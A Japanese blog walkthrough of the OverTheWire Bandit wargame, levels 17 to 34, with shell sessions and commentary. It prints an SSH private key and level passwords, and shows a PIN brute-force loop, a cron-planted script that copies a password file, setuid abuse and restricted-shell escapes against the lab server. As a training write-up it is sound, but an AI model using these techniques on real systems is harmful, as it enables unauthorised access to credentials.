YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

closed

パスワードかと思ったらRSAキーが帰ってきた。

Level 17 to 18

~$ cat > id_rsa << EOF
heredoc> -----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----
heredoc> EOF
~$ ssh bandit17@bandit.labs.overthewire.org -p 2220 -i id_rsa
...
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions

id_rsaのパーミションがオープンすぎるとのこと。

~$ chmod 0600 id_rsa
~$ ssh bandit17@bandit.labs.overthewire.org -p 2220 -i id_rsa
bandit17@bandit:~$ diff passwords.new passwords.old
42c42
< hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg
---
> glZreTEH1V3cGKL6g4conYqZqaEj0mte

パスワードはpasswords.oldに入っていたhga5tuuCLF6fFzUpnagiMN8ssu9LFrdgを使う。

Level 18 to 19

bandit17@bandit:~$ su bandit18
Password:
su: Authentication failure

.bashrcでログアウトされるようなのでbandit17からbandit18にユーザー変更しようとするも失敗。

~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 /bin/sh
ls
readme
cat readme
awhqfNnAbc1naukrpqDYcF95h7HoMTrC

bashがダメならshでログインしてみた。

Level 19 to 20

bandit19@bandit:~$ ls
bandit20-do
bandit19@bandit:~$ ls -l
total 16
-rwsr-x--- 1 bandit20 bandit19 14876 Apr 23 18:04 bandit20-do
bandit19@bandit:~$ file bandit20-do
bandit20-do: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c148b21f7eb7e816998f07490c8007567e51953f, for GNU/Linux 3.2.0, not stripped
bandit19@bandit:~$ ./bandit20-do
Run a command as another user.
  Example: ./bandit20-do id
bandit19@bandit:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)

bandit20-doを使うとbandit20としてコマンドを実行できるみたい。

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
VxCazJaVykI6W36BkBU0mJTCM8rR95XT

setuid恐るべし。

Level 20 to 21

bandit20@bandit:~$ ./suconnect 30003
Read: VxCazJaVykI6W36BkBU0mJTCM8rR95XT
Password matches, sending next password
bandit20@bandit:~$ nc -lv 30003
Listening on 0.0.0.0 30003
Connection received on localhost 37186
VxCazJaVykI6W36BkBU0mJTCM8rR95XT
NvEJF7oVjkddltPSrdKEFOllh9V1IBcq

サーバーを自分で立てる必要があるみたいだったので、ncコマンドを使った。

Level 21 to 22

bandit21@bandit:~$ ls /etc/cron.d
cronjob_bandit15_root  cronjob_bandit22  cronjob_bandit24       e2scrub_all  sysstat
cronjob_bandit17_root  cronjob_bandit23  cronjob_bandit25_root  otw-tmp-dir
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff

Level 22 to 23

bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

"I am user bandit22"md5sum でハッシュにかけて、最初のスペースまでの値をファイル名にしているよう。

そのまま実行して求めることにした。

bandit22@bandit:~$ echo I am user `whoami` | md5sum | cut -d ' ' -f 1
8169b67bd894ddbb4412f91573b38db3
bandit22@bandit:~$ cat /tmp/8169b67bd894ddbb4412f91573b38db3
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff

なんかログインできない、、

/usr/bin/cronjob_bandit23.shbandit23ユーザーで実行されているはずなので、正しくは"I am user bandit23"になるのではと思い再挑戦。

bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G

やっぱりそういうことか。偽ファイルを作っているところ芸が細かい。

Level 23 to 24

bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -rf ./$i
    fi
done

どうやら/var/spool/bandit24/fooディレクトリ内でオーナーがbandit23スクリプトが1分おきにに実行されるようになっているよう。

bandit23@bandit:~$ mkdir /tmp/test
bandit23@bandit:~$ cd /tmp/test
bandit23@bandit:/tmp/test$ vim password.sh

/tmpディレクトリに行って以下のスクリプトを書く。

#!/bin/bash

cat /etc/bandit_pass/bandit24 > /tmp/test/password

パーミッションを適当に設定して、/var/spool/bandit24/fooにコピー。

bandit23@bandit:/tmp/test$ touch password
bandit23@bandit:/tmp/test$ chmod +w password
bandit23@bandit:/tmp/test$ chmod +x password.sh
bandit23@bandit:/tmp/test$ cp password.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/test$ cat password
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

Level 24 to 25

bandit23@bandit:~$ mkdir /tmp/test
bandit23@bandit:~$ cd /tmp/test
bandit23@bandit:/tmp/test$ vim brute.sh
#!/bin/bash

for pin in {0000..9999}; do
    echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $pin"
done | telnet localhost 30002
bandit23@bandit:/tmp/test$ chmod +x brute.sh
bandit24@bandit:/tmp/test$ ./brute.sh
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.

どうやらtelnetは標準入力から入力を取らないらしい。おとなしくncを使うことに。

#!/bin/bash

for pin in {0000..9999}; do
    echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $pin"
done | nc localhost 30002
bandit24@bandit:/tmp/test$ ./brute.sh
...
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

Level 25 to 26

bandit25@bandit:~$ ls
bandit26.sshkey
bandit25@bandit:~$ ssh bandit26@localhost -p 2220 -i bandit26.sshkey
...
Connection to localhost closed.

ログインできたけど強制終了されたっぽい。

シェルが違うとのことなので調べてみる。

bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0

bandit26のデフォルトシェルはssh bandit26@localhost -p 2220 -i bandit26.sshkey /bin/bashでもchsh -s /bin/bash bandit26でも変えられなかった。

exit 0を迂回する方法はなさそうなので、moreで何かするのか??

https://medium.com/@coturnix97/overthewires-bandit-25-26-shell-355d78fd2f4d

天才すぎる。

  1. ターミナルの高さを最小限にしてmoreのコマンドモードに入る。
  2. vをタイプしてmorevimモードに入る。
  3. :set shell=/bin/bashでシェルを変更する。
  4. :shellでシェルに戻る。
  5. 戻ったらターミナルの高さは戻してOK。
bandit26@bandit:~$ ls
bandit27-do  text.txt
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1

bandit26のパスワードはあっても強制終了されるのであまり意味はない)

Level 26 to 27

bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

Level 19 to 20でみたやつ。これは優しくて泣いちゃう。

Level 27 to 28

bandit27@bandit:~$ mkdir /tmp/test
bandit27@bandit:~$ cd /tmp/test
bandit27@bandit:/tmp/test$ git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
...
bandit27-git@localhost's password:
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/test$ ls
repo
bandit27@bandit:/tmp/test$ cd repo
bandit27@bandit:/tmp/test/repo$ ls
README
bandit27@bandit:/tmp/test/repo$ cat README
The password to the next level is: AVanL161y9rsbcJIsFHuw35rjaOM19nR

ポート番号に注意。

Level 28 to 29

bandit27@bandit:~$ mkdir /tmp/test
bandit27@bandit:~$ cd /tmp/test
bandit28@bandit:/tmp/test$ git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
...
bandit28-git@localhost's password:
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
bandit28@bandit:/tmp/test$ ls
repo
bandit28@bandit:/tmp/test$ cd repo
bandit28@bandit:/tmp/test/repo$ ls
README.md
bandit28@bandit:/tmp/test/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx

どゆこと??

bandit28@bandit:/tmp/test/repo$ git log
commit 899ba88df296331cc01f30d022c006775d467f28 (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    fix info leak

commit abcff758fa6343a0d002a1c0add1ad8c71b88534
Author: Morla Porla <morla@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    add missing data

commit c0a8c3cf093fba65f4ee0e1fe2a530b799508c78
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    initial commit of README.md

なるほど。gitで前のコミットに行けということか。

bandit28@bandit:/tmp/test/repo$ git checkout abcff758fa6343a0d002a1c0add1ad8c71b88534
Note: switching to 'abcff758fa6343a0d002a1c0add1ad8c71b88534'.
...
HEAD is now at abcff75 add missing data
bandit28@bandit:/tmp/test/repo$ ls
README.md
bandit28@bandit:/tmp/test/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S

Level 29 to 30

bandit27@bandit:~$ mkdir /tmp/test
bandit27@bandit:~$ cd /tmp/test
bandit29@bandit:/tmp/test$ git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
...
bandit29-git@localhost's password:
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.
bandit29@bandit:/tmp/test$ ls
repo
bandit29@bandit:/tmp/test$ cd repo
bandit29@bandit:/tmp/testrepo$ ls
README.md
bandit29@bandit:/tmp/testrepo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: <no passwords in production!>

とりあえずログを見てみる。

bandit29@bandit:/tmp/testrepo$ git log
commit 4bd5389f9f2b9e96ba517aa751ee58d051905761 (HEAD -> master, origin/master, origin/HEAD)
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:40 2023 +0000

    fix username

commit 1a57cf10158f133c4f40ff82251f605a7618631d
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:40 2023 +0000

    initial commit of README.md
bandit29@bandit:/tmp/testrepo$ git checkout 1a57cf10158f133c4f40ff82251f605a7618631d
Note: switching to '1a57cf10158f133c4f40ff82251f605a7618631d'.
...
HEAD is now at 1a57cf1 initial commit of README.md
bandit29@bandit:/tmp/testrepo$ ls
README.md
bandit29@bandit:/tmp/testrepo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit29
- password: <no passwords in production!>

流石に同じ手は使えないか。

bandit29@bandit:/tmp/testrepo$ git branch -a
* master
  remotes/origin/HEAD -> origin/master
  remotes/origin/dev
  remotes/origin/master
  remotes/origin/sploits-dev

devブランチがあった。sploits-devブランチもあるけど流石にこっちだろう。

bandit29@bandit:/tmp/testrepo$ git pull origin dev
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
...
bandit29-git@localhost's password:
From ssh://localhost:2220/home/bandit29-git/repo
 * branch            dev        -> FETCH_HEAD
Updating 4bd5389..13e7356
Fast-forward
 README.md         | 2 +-
 code/gif2ascii.py | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)
 create mode 100644 code/gif2ascii.py
bandit29@bandit:/tmp/testrepo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS

なるほどだから<no passwords in production!>なのか。

Level 30 to 31

bandit27@bandit:~$ mkdir /tmp/test
bandit27@bandit:~$ cd /tmp/test
bandit30@bandit:/tmp/test$ git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
...
bandit30-git@localhost's password:
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (4/4), done.
bandit30@bandit:/tmp/test$ ls
repo
bandit30@bandit:/tmp/test$ cd repo
bandit30@bandit:/tmp/test/repo$ ls
README.md
bandit30@bandit:/tmp/test/repo$ cat README.md
just an epmty file... muahaha
bandit30@bandit:/tmp/test/repo$ git log
commit 59530d30d299ff2e3e9719c096ebf46a65cc1424 (HEAD -> master, origin/master, origin/HEAD)
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:42 2023 +0000

    initial commit of README.md
bandit30@bandit:/tmp/test/repo$ git branch -a
* master
  remotes/origin/HEAD -> origin/master
  remotes/origin/master

ログ・ブランチときたらまあタグが怪しい。

bandit30@bandit:/tmp/test/repo$ git tag -l
secret
bandit30@bandit:/tmp/test/repo$ git checkout secret
fatal: reference is not a tree: secret

どゆこと??

bandit30@bandit:/tmp/test/repo$ git show secret
OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt

確かコミットのハッシュはhexだったはず。

ということはこれはコミットじゃなくてパスワードなのか?(パスワードだった)

Level 31 to 32

bandit31@bandit:~$ mkdir /tmp/test
bandit31@bandit:~$ cd /tmp/test
bandit31@bandit:/tmp/test$ git clone ssh://bandit31-git@localhost:2220/home/bandit31-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
...
bandit31-git@localhost's password:
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (4/4), done.
bandit31@bandit:/tmp/test$ ls
repo
bandit31@bandit:/tmp/test$ cd repo
bandit31@bandit:/tmp/test/repo$ ls
README.md
bandit31@bandit:/tmp/test/repo$ cat README.md
This time your task is to push a file to the remote repository.

Details:
    File name: key.txt
    Content: 'May I come in?'
    Branch: master

これは行けそう。

bandit31@bandit:/tmp/test/repo$ echo 'May I come in?' > key.txt
bandit31@bandit:/tmp/test/repo$ git add key.txt
The following paths are ignored by one of your .gitignore files:
key.txt
hint: Use -f if you really want to add them.
hint: Turn this message off by running
hint: "git config advice.addIgnoredFile false"

.gitignorekey.txtが入っているだと、、

bandit31@bandit:/tmp/test/repo$ cat .gitignore
*.txt
bandit31@bandit:/tmp/test/repo$ rm .gitignore
bandit31@bandit:/tmp/test/repo$ git status
On branch master
Your branch is up to date with 'origin/master'.

Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
    new file:   key.txt

Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
    deleted:    .gitignore
bandit31@bandit:/tmp/test/repo$ git commit -m "Add key.txt and remove .gitignore"
[master 209913a] Add key.txt and remove .gitignore
 1 file changed, 1 insertion(+)
 create mode 100644 key.txt
 bandit31@bandit:/tmp/test/repo$ git push
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
...
bandit31-git@localhost's password:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 340 bytes | 340.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: rmCBvG56y58BXzv98yZGdO7ATVL5dW8y
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost:2220/home/bandit31-git/repo
 ! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://localhost:2220/home/bandit31-git/repo'

Level 32 to 33

ssh bandit32@bandit.labs.overthewire.org -p 2220
Warning: Permanently added '[bandit.labs.overthewire.org]:2220' (ED25519) to the list of known hosts.
...
bandit32@bandit.labs.overthewire.org's password:
...
WELCOME TO THE UPPERCASE SHELL
>> ls
sh: 1: LS: not found
>> pwd
sh: 1: PWD: not found

何じゃこりゃ、、

一度bandit31に戻って確かめてみる。

bandit31@bandit:~$ cat /etc/passwd | grep bandit32
bandit32:x:11032:11032:bandit level 32:/home/bandit32:/home/bandit32/uppershell
bandit31@bandit:~$ cat /home/bandit32/uppershell
cat: /home/bandit32/uppershell: Permission denied

もうちょっと実験してみる。実装によっては文字コードをシフトしてるだけかも?

>> a
sh: 1: A: not found
>> A
sh: 1: A: not found
>> 1
sh: 1: 1: not found
>> $
sh: 1: $: not found

そういうわけではなさそう。

>> var='echo hello'
>> $var
>> $VAR
>> var() { echo hello; }
>> $var
>> $VAR

変数と関数は定義できないようになってるっぽい?

万策尽きたのでググりました。$0が使えるとのこと。天才か。

https://medium.com/secttp/overthewire-bandit-level-31-e3b82064285a

>> $0
$ whoami
bandit33
$ cat /etc/bandit_pass/bandit33
odHo63fHiFqcWWJG9rLiLDtPm45KzUKy

Level 33 to 34

ラストBandit!

bandit33@bandit:~$ ls
README.txt
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!

と思ったらこれで終わりだったみたい。やった。

Thoughts

紹介のページにあった通り、本当に基礎的なコマンドラインチュートリアルといった印象。ただいくつか難しいのもあって面白かった。

今まで無意識に避けてたコマンドとかにも触れることができてとても勉強になった。次はNatasに挑戦したい!